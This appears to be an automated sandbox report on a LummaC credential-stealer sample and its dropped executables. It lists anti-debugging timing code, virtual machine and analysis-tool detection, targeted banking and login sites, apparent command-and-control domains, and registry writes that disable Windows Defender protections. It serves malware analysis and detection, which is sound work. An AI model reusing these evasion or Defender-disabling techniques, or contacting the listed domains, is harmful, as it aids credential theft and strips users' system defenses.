Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 42EBC9 second address: 42EBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8784D62266h 0x0000000a jo 00007F8784D62266h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 42EBD9 second address: 42EBDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434C44 second address: 434C9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62275h 0x00000008 jnp 00007F8784D62266h 0x0000000e jmp 00007F8784D62270h 0x00000013 popad 0x00000014 push esi 0x00000015 jmp 00007F8784D6226Dh 0x0000001a jmp 00007F8784D62275h 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434C9E second address: 434CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434CAE second address: 434CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434CB2 second address: 434CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434DD8 second address: 434DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F8784D6226Dh 0x0000000e jnp 00007F8784D62272h 0x00000014 jnc 00007F8784D62266h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 434DFC second address: 434E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F8784B30568h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438665 second address: 438669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438758 second address: 4387C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F8784B30568h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F8784B3055Bh 0x00000018 pop eax 0x00000019 push eax 0x0000001a stc 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F8784B30558h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 push 00000000h 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d xor dword ptr [ebp+122D3657h], ecx 0x00000043 push E10E4E93h 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 4387C4 second address: 4387C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 4387C8 second address: 4387CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 4388D0 second address: 4388DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 4388DA second address: 438901 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8784B30569h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438AEB second address: 438AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438AF1 second address: 438AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438AF5 second address: 438BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 73C8A43Eh 0x0000000f mov edx, dword ptr [ebp+122D2CCEh] 0x00000015 push 00000003h 0x00000017 mov esi, dword ptr [ebp+122D1E10h] 0x0000001d push 00000000h 0x0000001f jmp 00007F8784D62278h 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F8784D62268h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000019h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov edi, ecx 0x00000042 mov cx, 7F1Ah 0x00000046 sub esi, 37697B7Fh 0x0000004c push EE62F643h 0x00000051 pushad 0x00000052 pushad 0x00000053 push esi 0x00000054 pop esi 0x00000055 jc 00007F8784D62266h 0x0000005b popad 0x0000005c jne 00007F8784D62268h 0x00000062 popad 0x00000063 xor dword ptr [esp], 2E62F643h 0x0000006a jmp 00007F8784D62277h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007F8784D62278h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 438BBD second address: 438BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30563h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 449FF5 second address: 44A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62275h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 44A00E second address: 44A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 44A018 second address: 44A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8784D6226Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 456C8D second address: 456CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8784B30558h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnl 00007F8784B30556h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 457079 second address: 457098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D62275h 0x00000009 jo 00007F8784D62266h 0x0000000f rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Special instruction interceptor: First address: DB7CF7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Special instruction interceptor: First address: DE2E85 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Special instruction interceptor: First address: E44E40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Special instruction interceptor: First address: 2BDCD6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Special instruction interceptor: First address: 45B99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Special instruction interceptor: First address: 45A8A8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Special instruction interceptor: First address: 48355B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Special instruction interceptor: First address: 4EBFFD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Special instruction interceptor: First address: 77FD88 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Special instruction interceptor: First address: 77FE2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Special instruction interceptor: First address: 945762 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Special instruction interceptor: First address: 9A4BDE instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Memory allocated: 49C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Memory allocated: 4BD0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Memory allocated: 6BD0000 memory reserve | memory write watch Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_004389CE rdtsc 3_2_004389CE
Contains functionality to detect virtual machines (SLDT)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Code function: 0_3_0160C3DE sldt word ptr [eax] 0_3_0160C3DE
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe TID: 3964 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe TID: 3956 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe TID: 1992 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 225E7CNEQKY05J8BSS2KINA.exe, 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757032243.00000000008FD000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: FBVmDbz2nb.exe, FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492566015.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.00000000011E6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696497155o
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1442979210.0000000005ED4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696497155p
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000116E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696497155f
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: FBVmDbz2nb.exe, 00000000.00000003.1393642084.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1415741852.00000000015B6000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1644387683.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492171889.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1492566015.00000000015B7000.00000004.00000020.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1513481028.00000000015B5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779034696.000000000043D000.00000040.00000001.01000000.00000006.sdmp, RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757032243.00000000008FD000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: FBVmDbz2nb.exe, 00000000.00000003.1443138282.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_004389CE rdtsc 3_2_004389CE
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Code function: 3_2_002BB96C LdrInitializeThunk, 3_2_002BB96C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: RBZFTNPOH3OCI4WNHGK52I3.exe PID: 1524, type: MEMORYSTR
LummaC encrypted strings found
Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: steppriflej.xyz
Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: sendypaster.xyz
Source: FBVmDbz2nb.exe, 00000000.00000003.1369561503.0000000005370000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: cuddlyready.xyz
Source: 225E7CNEQKY05J8BSS2KINA.exe, 00000003.00000002.1779262039.0000000000480000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: *Program Manager
Source: RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1757354409.0000000000940000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: EProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
